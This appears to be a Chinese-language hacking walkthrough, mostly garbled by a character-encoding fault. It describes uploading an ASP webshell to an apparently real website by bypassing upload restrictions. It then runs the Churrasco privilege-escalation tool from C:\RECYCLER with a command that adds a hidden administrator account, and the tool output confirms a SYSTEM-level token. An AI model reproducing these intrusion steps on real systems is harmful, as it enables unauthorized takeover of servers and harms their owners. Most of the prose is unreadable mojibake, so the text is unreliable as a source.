Һǵ
ʵս~~~~
ȿʼҲ˺ܶ෽
ץİȵ
ȻҿһҲ
޷޸˻޸޷Ҳ

ҿһʽϴ޸
ASPϴ
дASPϴ
Ȼöʽкܶ
ҾͲ
ҵϴַ
ǽϴ

ϴ
Ҫҵĵַ
http://www.xxiiee.com/uploadfiles/201312/20131230211924275.php
ĵַ

OKһASP
Ȩ޺ܵ
Է
C:\RECYCLERҵĿ¼
ѾиCMD~~֮ǰմȥ~

һ¿
ִа
Ϲ
ִһ
Ŀ¼ַҪ
C:\RECYCLER\Churrasco.exe "net user php.net heishi /add & net localgroup administrators php.net /add"

/churrasco/-->Current User: NETWORK SERVICE 
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 692 
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 696 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 700 
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 708 
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0xf34
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found Adminanjiabao Token
/churrasco/-->Found NETWORK SERVICE Token
/churrasco/-->Found LOCAL SERVICE Token
/churrasco/-->Found SYSTEM token 0xf2c
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!
ɹɡ

ɹɡ


OKɹ
ǽ




ɹӽ̳̽

˵һ±һ¶




